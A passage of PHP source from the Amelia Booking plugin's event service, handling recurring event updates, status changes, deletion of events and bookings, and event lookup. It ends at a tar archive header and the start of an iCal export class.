/** @var EventPeriod $firstPeriod */ $firstPeriod = $followingEvent->getPeriods()->getItem(0); if ($firstPeriod->getPeriodStart()->getValue() <= $newEvent->getRecurring()->getUntil()->getValue() ) { if ($isNewRecurring) { $followingEvent->setParentId($newEvent->getId()); } $followingEventClone = EventFactory::create($followingEvent->toArray()); $followingEventClone->setPeriods($clonedFollowingEventPeriods); $followingEventClone->setCustomTickets($clonedFollowingEventTickets); $periodStart = $followingEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue()->format('Y-m-d H:i:s'); if (!$bookingOpensSame) { if (isset($eventDateDiff)) { $periodStartOpen = DateTimeService::getCustomDateTimeObject($periodStart)->sub($eventDateDiff); $followingEvent->setBookingOpens(new DateTimeValue($periodStartOpen)); } else { $followingEvent->setBookingOpens($eventEnds ? new DateTimeValue($eventEnds) : null); if ($eventEnds) { $lastIndex = $followingEvent->getPeriods()->length() - 1; $eventEnds = $followingEvent->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } } } if (!$bookingClosesSame) { $periodStartClose = DateTimeService::getCustomDateTimeObject($periodStart); if (isset($eventDateDiffCloses)) { $periodStartClose = $periodStartClose->sub($eventDateDiffCloses); } $followingEvent->setBookingCloses(new DateTimeValue($periodStartClose)); } if (!$ticketRangeSame) { $index = 0; /** @var EventTicket $ticket */ foreach ($followingEvent->getCustomTickets()->getItems() as $ticketIndex => $ticket) { $ticketDates = json_decode($ticket->getDateRanges()->getValue(), true); foreach ($ticketDates as $dateIndex => &$ticketDate) { $ticketDate = array_merge( $ticketDate, [ 'startDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$index][$dateIndex]['startDiff'])->format('Y-m-d'), 'endDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$index][$dateIndex]['endDiff'])->format('Y-m-d'), ] ); } $index++; $ticket->setDateRanges(new Json(json_encode($ticketDates))); } } $this->updateSingle($followingEventClone, $followingEvent, false); } else { $this->deleteEvent($followingEvent); $deletedEvents->addItem($followingEvent, $followingEvent->getId()->getValue()); } } } /** @var Event $lastEvent **/ $lastEvent = $followingEvents->getItem($followingEvents->keys()[sizeof($followingEvents->keys()) - 1]); $lastRecurringOrder = $lastEvent->getRecurring()->getOrder()->getValue(); $eventEnds = null; $eventStarts = $newEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue(); if (!$bookingOpensSame) { if ($newEvent->getBookingOpens()) { $eventDateDiff = $newEvent->getBookingOpens()->getValue()->diff($eventStarts); } else { $lastIndex = $lastEvent->getPeriods()->length() - 1; $eventEnds = $lastEvent->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } } if (!$bookingClosesSame) { if ($newEvent->getBookingCloses()) { $eventDateDiffCloses = $newEvent->getBookingCloses()->getValue()->diff($eventStarts); } } while ($lastEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue() <= $newEvent->getRecurring()->getUntil()->getValue() ) { /** @var Event $lastEvent **/ $lastEvent = EventFactory::create( [ 'name' => $newEvent->getName()->getValue(), 'price' => $newEvent->getPrice()->getValue(), ] ); $lastEvent->setRecurring( RecurringFactory::create( [ 'cycle' => $newEvent->getRecurring()->getCycle()->getValue(), 'cycleInterval' => $newEvent->getRecurring()->getCycleInterval()->getValue(), 'monthlyRepeat' => $newEvent->getRecurring()->getMonthlyRepeat(), 'monthlyOnRepeat' => $newEvent->getRecurring()->getMonthlyOnRepeat(), 'monthlyOnDay' => $newEvent->getRecurring()->getMonthlyOnDay(), 'monthDate' => $newEvent->getRecurring()->getMonthDate() ? $newEvent->getRecurring()->getMonthDate()->getValue()->format('Y-m-d H:i:s') : null, 'until' => $newEvent->getRecurring()->getUntil()->getValue()->format('Y-m-d H:i:s'), 'order' => ++$lastRecurringOrder ] ) ); $lastEvent->setPeriods($eventDomainService->getClonedEventPeriods($clonedOriginEventPeriods, false)); $eventDomainService->buildFollowingEvent( $lastEvent, $newEvent, $eventDomainService->getClonedEventPeriods($clonedOriginEventPeriods, false) ); $lastEvent->setParentId( !$isNewRecurring && $newEvent->getParentId() ? $newEvent->getParentId() : $newEvent->getId() ); $lastEventTickets = new Collection(); /** @var EventTicket $newEventTicket **/ foreach ($newEvent->getCustomTickets()->getItems() as $newEventTicket) { $newEventTicketData = $newEventTicket->toArray(); unset($newEventTicketData['id']); unset($newEventTicketData['sold']); $lastEventTickets->addItem( EventTicketFactory::create( $newEventTicketData ) ); } $lastEvent->setCustomTickets($lastEventTickets); if ($lastEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue() <= $newEvent->getRecurring()->getUntil()->getValue() ) { /** @var EventPeriod $eventPeriod **/ foreach ($lastEvent->getPeriods()->getItems() as $key => $eventPeriod) { /** @var EventPeriod $newEventPeriod **/ $newEventPeriod = EventPeriodFactory::create( array_merge( $eventPeriod->toArray(), ['zoomMeeting' => null] ) ); $lastEvent->getPeriods()->placeItem($newEventPeriod, $key, true); } $periodStart = $lastEvent->getPeriods()->getItem(0)->getPeriodStart()->getValue()->format('Y-m-d H:i:s'); if (!$bookingOpensSame) { if (isset($eventDateDiff)) { $periodStartOpen = DateTimeService::getCustomDateTimeObject($periodStart)->sub($eventDateDiff); $lastEvent->setBookingOpens(new DateTimeValue($periodStartOpen)); } else { $lastEvent->setBookingOpens($eventEnds ? new DateTimeValue($eventEnds) : null); if ($eventEnds) { $lastIndex = $lastEvent->getPeriods()->length() - 1; $eventEnds = $lastEvent->getPeriods()->getItem($lastIndex)->getPeriodEnd()->getValue(); } } } if (!$bookingOpensSame) { $periodStartClose = DateTimeService::getCustomDateTimeObject($periodStart); if (isset($eventDateDiffCloses)) { $periodStartClose = $periodStartClose->sub($eventDateDiffCloses); } $lastEvent->setBookingCloses(new DateTimeValue($periodStartClose)); } if (!$ticketRangeSame) { $index = 0; /** @var EventTicket $ticket */ foreach ($lastEvent->getCustomTickets()->getItems() as $ticketIndex => $ticket) { $ticketDates = json_decode($ticket->getDateRanges()->getValue(), true); foreach ($ticketDates as $dateIndex => &$ticketDate) { $ticketDate = array_merge( $ticketDate, [ 'startDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$index][$dateIndex]['startDiff'])->format('Y-m-d'), 'endDate' => DateTimeService::getCustomDateTimeObject( $periodStart )->sub($allTicketDiff[$index][$dateIndex]['endDiff'])->format('Y-m-d'), ] ); } $index++; $ticket->setDateRanges(new Json(json_encode($ticketDates))); } } $this->addSingle($lastEvent); $addedEvents->addItem($lastEvent, $lastEvent->getId()->getValue()); } } } $clonedEditedEvents = $this->getEditedEvents($clonedEvents, $newEvent, $updateFollowing, $followingEvents); if ($newEvent->getZoomUserId() && !$oldEvent->getZoomUserId()) { /** @var Event $event **/ foreach ($clonedEvents->getItems() as $event) { $event->setZoomUserId($newEvent->getZoomUserId()); } } if ($newEvent->getDescription() && ( ($newEvent->getDescription() ? $newEvent->getDescription()->getValue() : null) !== ($oldEvent->getDescription() ? $oldEvent->getDescription()->getValue() : null) || $newEvent->getName()->getValue() !== $oldEvent->getName()->getValue() ) ) { /** @var Event $event **/ foreach ($clonedEvents->getItems() as $event) { $event->setDescription($newEvent->getDescription()); } } return [ 'rescheduled' => $rescheduledEvents->toArray(), 'added' => $addedEvents->toArray(), 'deleted' => $deletedEvents->toArray(), 'cloned' => $clonedEvents->toArray(), 'edited' => $clonedEditedEvents ]; } /** * @param Event $event * @param String $status * @param bool $updateFollowing * * @return Collection * * @throws \Slim\Exception\ContainerException * @throws ContainerValueNotFoundException * @throws \InvalidArgumentException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function updateStatus($event, $status, $updateFollowing) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var Collection $updatedEvents */ $updatedEvents = new Collection(); if ($event->getStatus()->getValue() !== $status) { $eventRepository->updateStatusById($event->getId()->getValue(), $status); $event->setStatus(new BookingStatus($status)); $updatedEvents->addItem($event, $event->getId()->getValue()); /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $booking) { if ($status === BookingStatus::REJECTED && $booking->getStatus()->getValue() === BookingStatus::APPROVED ) { $booking->setChangedStatus(new BooleanValueObject(true)); } if ($status === BookingStatus::APPROVED && $booking->getStatus()->getValue() === BookingStatus::APPROVED ) { $booking->setChangedStatus(new BooleanValueObject(true)); } } } if ($updateFollowing) { /** @var Collection $followingEvents */ $followingEvents = $eventRepository->getFiltered( [ 'parentId' => $event->getParentId() ? $event->getParentId()->getValue() : $event->getId()->getValue(), 'allProviders' => true ] ); /** @var Event $followingEvent */ foreach ($followingEvents->getItems() as $key => $followingEvent) { if ($followingEvent->getId()->getValue() > $event->getId()->getValue()) { $followingEventStatus = $followingEvent->getStatus()->getValue(); if (($status === BookingStatus::APPROVED && $followingEventStatus === BookingStatus::REJECTED) || ($status === BookingStatus::REJECTED && $followingEventStatus === BookingStatus::APPROVED) ) { /** @var CustomerBooking $booking */ foreach ($followingEvent->getBookings()->getItems() as $booking) { if ($status === BookingStatus::REJECTED && $booking->getStatus()->getValue() === BookingStatus::APPROVED ) { $bookingRepository->updateStatusById( $booking->getId()->getValue(), BookingStatus::REJECTED ); $booking->setChangedStatus(new BooleanValueObject(true)); } } $eventRepository->updateStatusById($followingEvent->getId()->getValue(), $status); $followingEvent->setStatus(new BookingStatus($status)); $updatedEvents->addItem($followingEvent, $followingEvent->getId()->getValue()); } } } } return $updatedEvents; } /** * @param Event $event * @param bool $deleteFollowing * * @return Collection * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws ContainerException */ public function delete($event, $deleteFollowing) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var NotificationsToEntitiesRepository $notificationEntitiesRepo */ $notificationEntitiesRepo = $this->container->get('domain.notificationEntities.repository'); /** @var Collection $recurringEvents */ $recurringEvents = $eventRepository->getFiltered( [ 'parentId' => $event->getParentId() ? $event->getParentId()->getValue() : $event->getId()->getValue() ] ); $deletedEvents = new Collection(); /** @var Event $newOriginRecurringEvent **/ $newOriginRecurringEvent = null; $hasRecurringApprovedEvents = false; if (!$event->getRecurring()) { $notificationEntitiesRepo->removeIfOnly($event->getId()->getValue()); } /** @var Event $recurringEvent */ foreach ($recurringEvents->getItems() as $key => $recurringEvent) { // delete event if ($recurringEvent->getId()->getValue() === $event->getId()->getValue()) { $deletedEvents->addItem($recurringEvent); $this->deleteEvent($recurringEvent); } if ($recurringEvent->getId()->getValue() > $event->getId()->getValue()) { $recurringEventStatus = $recurringEvent->getStatus()->getValue(); // delete following recurring events if they are canceled if ($deleteFollowing && $recurringEventStatus === BookingStatus::REJECTED) { $deletedEvents->addItem($recurringEvent); $this->deleteEvent($recurringEvent); } if ($recurringEventStatus === BookingStatus::APPROVED) { $hasRecurringApprovedEvents = true; // update following recurring events if they are approved and if origin event is deleted if ($event->getParentId() === null) { if ($newOriginRecurringEvent === null) { $newOriginRecurringEvent = $recurringEvent; } $eventRepository->updateParentId( $recurringEvent->getId()->getValue(), $newOriginRecurringEvent->getId()->getValue() === $recurringEvent->getId()->getValue() ? null : $newOriginRecurringEvent->getId()->getValue() ); $notificationEntitiesRepo->updateByEntityId($event->getId()->getValue(), $newOriginRecurringEvent->getId()->getValue(), 'entityId'); } } } } if ($deleteFollowing && $event->getRecurring() && !$hasRecurringApprovedEvents) { $notificationEntitiesRepo->removeIfOnly($event->getId()->getValue()); } // update recurring time for previous recurring events if there are no following recurring events if (!$hasRecurringApprovedEvents) { /** @var Event $recurringEvent */ foreach ($recurringEvents->getItems() as $key => $recurringEvent) { if ($recurringEvent->getId()->getValue() < $event->getId()->getValue()) { $recurringEvent->getRecurring()->setUntil( $event->getPeriods()->getItem(0)->getPeriodStart() ); $this->updateSingle($recurringEvent, $recurringEvent, true); } } } return $deletedEvents; } /** * @param Event $event * * @return void * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException */ private function addSingle($event) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventPeriodsRepository $eventPeriodsRepository */ $eventPeriodsRepository = $this->container->get('domain.booking.event.period.repository'); /** @var EventTagsRepository $eventTagsRepository */ $eventTagsRepository = $this->container->get('domain.booking.event.tag.repository'); /** @var EventTicketRepository $eventTicketRepository */ $eventTicketRepository = $this->container->get('domain.booking.event.ticket.repository'); /** @var EventProvidersRepository $eventProvidersRepository */ $eventProvidersRepository = $this->container->get('domain.booking.event.provider.repository'); /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); $event->setStatus(new BookingStatus(BookingStatus::APPROVED)); $event->setNotifyParticipants(1); $event->setCreated(new DateTimeValue(DateTimeService::getNowDateTimeObject())); $eventId = $eventRepository->add($event); $event->setId(new Id($eventId)); /** @var EventPeriod $eventPeriod */ foreach ($event->getPeriods()->getItems() as $eventPeriod) { $eventPeriod->setEventId(new Id($eventId)); $eventPeriodId = $eventPeriodsRepository->add($eventPeriod); $eventPeriod->setId(new Id($eventPeriodId)); } /** @var EventTag $eventTag */ foreach ($event->getTags()->getItems() as $eventTag) { $eventTag->setEventId(new Id($eventId)); $eventTagId = $eventTagsRepository->add($eventTag); $eventTag->setId(new Id($eventTagId)); } /** @var EventTicket $eventTicket */ foreach ($event->getCustomTickets()->getItems() as $eventTicket) { $eventTicket->setEventId(new Id($eventId)); $eventTicketId = $eventTicketRepository->add($eventTicket); $eventTicket->setId(new Id($eventTicketId)); } /** @var Provider $provider */ foreach ($event->getProviders()->getItems() as $provider) { $eventProvidersRepository->add($event, $provider); } $galleryService->manageGalleryForEntityAdd($event->getGallery(), $event->getId()->getValue()); } /** * @param Event $oldEvent * @param Event $newEvent * @param bool $isPreviousEvent * * @return void * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException */ private function updateSingle($oldEvent, $newEvent, $isPreviousEvent) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventPeriodsRepository $eventPeriodsRepository */ $eventPeriodsRepository = $this->container->get('domain.booking.event.period.repository'); /** @var EventTicketRepository $eventTicketRepository */ $eventTicketRepository = $this->container->get('domain.booking.event.ticket.repository'); /** @var EventProvidersRepository $eventProvidersRepository */ $eventProvidersRepository = $this->container->get('domain.booking.event.provider.repository'); /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); $eventId = $newEvent->getId()->getValue(); if (!$isPreviousEvent) { /** @var EventTagsRepository $eventTagsRepository */ $eventTagsRepository = $this->container->get('domain.booking.event.tag.repository'); $eventTagsRepository->deleteByEventId($oldEvent->getId()->getValue()); /** @var EventTag $eventTag */ foreach ($newEvent->getTags()->getItems() as $eventTag) { $eventTag->setEventId($newEvent->getId()); $eventTagId = $eventTagsRepository->add($eventTag); $eventTag->setId(new Id($eventTagId)); } $eventProvidersRepository->deleteByEventId($eventId); /** @var Provider $provider */ foreach ($newEvent->getProviders()->getItems() as $provider) { $eventProvidersRepository->add($newEvent, $provider); } } $newEvent->setStatus($oldEvent->getStatus()); $oldPeriodsIds = []; $newPeriodsIds = []; /** @var EventPeriod $eventPeriod */ foreach ($oldEvent->getPeriods()->getItems() as $eventPeriod) { $oldPeriodsIds[] = $eventPeriod->getId()->getValue(); } /** @var EventPeriod $eventPeriod */ foreach ($newEvent->getPeriods()->getItems() as $eventPeriod) { if ($eventPeriod->getId()) { $newPeriodsIds[] = $eventPeriod->getId()->getValue(); $eventPeriodsRepository->update($eventPeriod->getId()->getValue(), $eventPeriod); } else { $eventPeriodId = $eventPeriodsRepository->add($eventPeriod); $eventPeriod->setId(new Id($eventPeriodId)); } } foreach (array_diff($oldPeriodsIds, $newPeriodsIds) as $eventPeriodId) { $eventPeriodsRepository->delete($eventPeriodId); } $oldEventTicketsIds = []; $newEventTicketsIds = []; /** @var EventTicket $eventTicket */ foreach ($oldEvent->getCustomTickets()->getItems() as $eventTicket) { $oldEventTicketsIds[] = $eventTicket->getId()->getValue(); } /** @var EventTicket $eventTicket */ foreach ($newEvent->getCustomTickets()->getItems() as $eventTicket) { if ($eventTicket->getId() && $eventTicket->getId()->getValue() !== 0) { $newEventTicketsIds[] = $eventTicket->getId()->getValue(); $eventTicket->setEventId(new Id($eventId)); $eventTicketRepository->update($eventTicket->getId()->getValue(), $eventTicket); } else { $eventTicket->setEventId(new Id($eventId)); $eventTicketId = $eventTicketRepository->add($eventTicket); $eventTicket->setId(new Id($eventTicketId)); } } $ticketsIdsToDelete = array_diff($oldEventTicketsIds, $newEventTicketsIds); /** @var CustomerBooking $booking */ foreach ($oldEvent->getBookings()->getItems() as $booking) { /** @var CustomerBookingEventTicket $ticketBooking */ foreach ($booking->getTicketsBooking()->getItems() as $ticketBooking) { if (in_array($ticketBooking->getEventTicketId()->getValue(), $ticketsIdsToDelete)) { $ticketsIdsToDelete = array_diff( $ticketsIdsToDelete, [$ticketBooking->getEventTicketId()->getValue()] ); } } } foreach ($ticketsIdsToDelete as $eventTicketId) { $eventTicketRepository->delete($eventTicketId); } $galleryService->manageGalleryForEntityUpdate($newEvent->getGallery(), $eventId, Entities::EVENT); $eventRepository->update($eventId, $newEvent); } /** * @param Event $newEvent * @param Event $oldEvent * * @return bool * */ private function isSeparateRecurringEvent($newEvent, $oldEvent) { return $newEvent->getRecurring() && ( $newEvent->getPeriods()->toArray() !== $oldEvent->getPeriods()->toArray() || $newEvent->getRecurring()->getCycle()->getValue() !== ($oldEvent->getRecurring() ? $oldEvent->getRecurring()->getCycle()->getValue() : true) ); } /** * @param Collection $providers * @param array $dates * * @return void * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception */ public function removeSlotsFromEvents($providers, $dates) { $providersIds = []; /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { $providersIds[] = $provider->getId()->getValue(); } /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var Collection $events */ $events = $eventRepository->getProvidersEvents( [ 'providers' => $providersIds, 'dates' => $dates, 'status' => BookingStatus::APPROVED, ] ); /** @var Event $event */ foreach ($events->getItems() as $event) { /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { if ($event->getProviders()->keyExists($provider->getId()->getValue())) { /** @var EventPeriod $period */ foreach ($event->getPeriods()->getItems() as $period) { $range = new \DatePeriod( $period->getPeriodStart()->getValue(), new \DateInterval('P1D'), $period->getPeriodEnd()->getValue() ); $eventStartTimeString = $period->getPeriodStart()->getValue()->format('H:i:s'); $eventEndTimeString = $period->getPeriodEnd()->getValue()->format('H:i:s'); /** @var \DateTime $date */ foreach ($range as $date) { $eventStartString = $date->format('Y-m-d') . ' ' . $eventStartTimeString; if ($eventEndTimeString === '00:00:00') { $endDate = DateTimeService::getCustomDateTimeObject($date->format('Y-m-d') . ' 00:00:00'); $endDate->modify('+1 days')->setTime(0, 0, 0); $eventEndString = $endDate->format('Y-m-d H:i:s'); } else { $eventEndString = $date->format('Y-m-d') . ' ' . $eventEndTimeString; } /** @var Appointment $appointment */ $appointment = AppointmentFactory::create( [ 'bookingStart' => $eventStartString, 'bookingEnd' => $eventEndString, 'notifyParticipants' => false, 'serviceId' => 0, 'providerId' => $provider->getId()->getValue(), ] ); $provider->getAppointmentList()->addItem($appointment); } } } } } } /** * * @param Event $event * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws ContainerException|InvalidArgumentException */ public function deleteEvent($event) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var EventPeriodsRepository $eventPeriodsRepository */ $eventPeriodsRepository = $this->container->get('domain.booking.event.period.repository'); /** @var EventTicketRepository $eventTicketRepository */ $eventTicketRepository = $this->container->get('domain.booking.event.ticket.repository'); /** @var EventProvidersRepository $eventProvidersRepository */ $eventProvidersRepository = $this->container->get('domain.booking.event.provider.repository'); /** @var CouponEventRepository $couponEventRepository */ $couponEventRepository = $this->container->get('domain.coupon.event.repository'); /** @var CustomFieldEventRepository $customFieldEventRepository */ $customFieldEventRepository = $this->container->get('domain.customFieldEvent.repository'); /** @var EventTagsRepository $eventTagsRepository */ $eventTagsRepository = $this->container->get('domain.booking.event.tag.repository'); /** @var GalleryApplicationService $galleryService */ $galleryService = $this->container->get('application.gallery.service'); /** @var CustomerBooking $booking */ foreach ($event->getBookings()->getItems() as $booking) { if (!$this->deleteEventBooking($booking)) { return false; } } /** @var EventPeriod $eventPeriod */ foreach ($event->getPeriods()->getItems() as $eventPeriod) { if (!$eventPeriodsRepository->delete($eventPeriod->getId()->getValue())) { return false; } } return $eventProvidersRepository->deleteByEntityId($event->getId()->getValue(), 'eventId') && $couponEventRepository->deleteByEntityId($event->getId()->getValue(), 'eventId') && $customFieldEventRepository->deleteByEntityId($event->getId()->getValue(), 'eventId') && $eventTagsRepository->deleteByEntityId($event->getId()->getValue(), 'eventId') && $eventTicketRepository->deleteByEntityId($event->getId()->getValue(), 'eventId') && $galleryService->manageGalleryForEntityDelete($event->getGallery()) && $eventRepository->delete($event->getId()->getValue()); } /** * * @param CustomerBooking $booking * * @return boolean * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function deleteEventBooking($booking) { /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var CustomerBookingEventPeriodRepository $bookingEventPeriodRepository */ $bookingEventPeriodRepository = $this->container->get('domain.booking.customerBookingEventPeriod.repository'); /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); /** @var Collection $payments */ $payments = $paymentRepository->getByEntityId($booking->getId()->getValue(), 'customerBookingId'); /** @var Payment $payment */ foreach ($payments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } return $bookingEventTicketRepository->deleteByEntityId($booking->getId()->getValue(), 'customerBookingId') && $bookingEventPeriodRepository->deleteByEntityId($booking->getId()->getValue(), 'customerBookingId') && $bookingRepository->delete($booking->getId()->getValue()); } /** * @param Collection $tickets * * @return Collection * * @throws ContainerValueNotFoundException * @throws InvalidArgumentException */ public function getTicketsPriceByDateRange($tickets) { /** @var Collection $newTickets */ $newTickets = new Collection(); /** @var EventTicket $ticket */ foreach ($tickets->getItems() as $key => $ticket) { if ($ticket->getDateRanges()) { $ticketDateRanges = json_decode($ticket->getDateRanges()->getValue(), true); $currentDate = DateTimeService::getNowDateTimeObject(); foreach ($ticketDateRanges as $range) { $rangeStart = DateTimeService::getCustomDateTimeObject($range['startDate']); $rangeEnd = DateTimeService::getCustomDateTimeObject($range['endDate'] . ' 23:59:59'); if ($currentDate > $rangeStart && $currentDate < $rangeEnd) { $ticket->setDateRangePrice(new Price($range['price'])); } } $newTickets->placeItem($ticket, $key, true); } } return $newTickets; } /** * @param array $ids * @param array $criteria * * @return Collection * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getEventsByIds($ids, $criteria) { /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); /** @var Collection $events */ $events = $eventRepository->getByCriteria( [ 'ids' => $ids, 'fetchEventsPeriods' => !empty($criteria['fetchEventsPeriods']) ? $criteria['fetchEventsPeriods'] : false, 'fetchEventsTickets' => !empty($criteria['fetchEventsTickets']) ? $criteria['fetchEventsTickets'] : false, 'fetchEventsTags' => !empty($criteria['fetchEventsTags']) ? $criteria['fetchEventsTags'] : false, 'fetchEventsProviders' => !empty($criteria['fetchEventsProviders']) ? $criteria['fetchEventsProviders'] : false, 'fetchEventsImages' => !empty($criteria['fetchEventsImages']) ? $criteria['fetchEventsImages'] : false, ] ); /** @var Collection $eventsBookings */ $eventsBookings = $events->length() ? $eventRepository->getBookingsByCriteria( [ 'ids' => $ids, 'fetchBookingsTickets' => !empty($criteria['fetchBookingsTickets']) ? $criteria['fetchBookingsTickets'] : false, 'fetchBookingsUsers' => !empty($criteria['fetchBookingsUsers']) ? $criteria['fetchBookingsUsers'] : false, 'fetchBookingsPayments' => !empty($criteria['fetchBookingsPayments']) ? $criteria['fetchBookingsPayments'] : false, 'fetchBookingsCoupons' => !empty($criteria['fetchBookingsCoupons']) ? $criteria['fetchBookingsCoupons'] : false, 'fetchApprovedBookings' => !empty($criteria['fetchApprovedBookings']) ? $criteria['fetchApprovedBookings'] : false, ] ) : new Collection(); /** @var Event $event */ foreach ($events->getItems() as $event) { if ($eventsBookings->keyExists($event->getId()->getValue())) { $event->setBookings($eventsBookings->getItem($event->getId()->getValue())); } } return $events; } /** * @param int $id * @param array $criteria * * @return Event * * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getEventById($id, $criteria) { /** @var Collection $events */ $events = $this->getEventsByIds( [$id], [ 'fetchEventsPeriods' => !empty($criteria['fetchEventsPeriods']) ? $criteria['fetchEventsPeriods'] : false, 'fetchEventsTickets' => !empty($criteria['fetchEventsTickets']) ? $criteria['fetchEventsTickets'] : false, 'fetchEventsTags' => !empty($criteria['fetchEventsTags']) ? $criteria['fetchEventsTags'] : false, 'fetchEventsProviders' => !empty($criteria['fetchEventsProviders']) ? $criteria['fetchEventsProviders'] : false, 'fetchEventsImages' => !empty($criteria['fetchEventsImages']) ? $criteria['fetchEventsImages'] : false, 'fetchBookingsTickets' => !empty($criteria['fetchBookingsTickets']) ? $criteria['fetchBookingsTickets'] : false, 'fetchBookingsUsers' => !empty($criteria['fetchBookingsUsers']) ? $criteria['fetchBookingsUsers'] : false, 'fetchBookingsPayments' => !empty($criteria['fetchBookingsPayments']) ? $criteria['fetchBookingsPayments'] : false, 'fetchBookingsCoupons' => !empty($criteria['fetchBookingsCoupons']) ? $criteria['fetchBookingsCoupons'] : false, 'fetchApprovedBookings' => !empty($criteria['fetchApprovedBookings']) ? $criteria['fetchApprovedBookings'] : false, ] ); if ($events->length() && $events->keyExists($id)) { return $events->getItem($id); } return null; } /** * @param Collection $clonedEvents * @param Event $newEvent * @param boolean $updateFollowing * * @return array * * @throws ContainerValueNotFoundException|InvalidArgumentException */ private function getEditedEvents($clonedEvents, $newEvent, $updateFollowing, $followingEvents) { $clonedEditedEvents = []; if ($clonedEvents->keyExists($newEvent->getId()->getValue()) && $this->eventDetailsUpdated($clonedEvents->getItem($newEvent->getId()->getValue()), $newEvent)) { $clonedEditedEvents[$newEvent->getId()->getValue()] = clone $newEvent; } if ($updateFollowing && $followingEvents) { /** @var Event $event **/ foreach ($clonedEvents->getItems() as $id => $event) { /** @var Event $changedEvent **/ $changedEvent = $followingEvents->keyExists($id) ? $followingEvents->getItem($id) : null; if ($changedEvent && $event->getId()->getValue() > $newEvent->getId()->getValue() && $this->eventDetailsUpdated($event, $changedEvent) ) { $clonedEditedEvents[$event->getId()->getValue()] = $changedEvent; } } } return $clonedEditedEvents; } /** * @param Event $event * @param Event $newEvent * * @return bool * * @throws ContainerValueNotFoundException */ private function eventDetailsUpdated($event, $newEvent) { return ($newEvent->getZoomUserId() ? $newEvent->getZoomUserId()->getValue() : null) !== ($event->getZoomUserId() ? $event->getZoomUserId()->getValue() : null) || ($newEvent->getDescription() ? $newEvent->getDescription()->getValue() : null) !== ($event->getDescription() ? $event->getDescription()->getValue() : null) || $newEvent->getName()->getValue() !== $event->getName()->getValue() || ($newEvent->getLocationId() ? $newEvent->getLocationId()->getValue() : null) !== ($event->getLocationId() ? $event->getLocationId()->getValue() : null) || ($newEvent->getCustomLocation() ? $newEvent->getCustomLocation()->getValue() : null) !== ($event->getCustomLocation() ? $event->getCustomLocation()->getValue() : null) || ($newEvent->getOrganizerId() ? $newEvent->getOrganizerId()->getValue() : null) !== ($event->getOrganizerId() ? $event->getOrganizerId()->getValue() : null); } } Services/Booking/IcsApplicationService.php 0000666 00000030641 15165412624 0014671 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Booking; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Application\Services\Placeholder\PlaceholderService; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Event\Event; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use Eluceo\iCal\Component\Calendar; use Eluceo\iCal\Component\Event as iCalEvent; use \Eluceo\iCal\Property\Event\Organizer as iCalOrganizer; use AmeliaBooking\Infrastructure\Common\Container; use Exception; use Interop\Container\Exception\ContainerException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; /** * Class IcsApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class IcsApplicationService { private $container; /** * IcsApplicationService constructor. * * @param Container $container */ public function __construct(Container $container) { $this->container = $container; } /** * @param string $type * 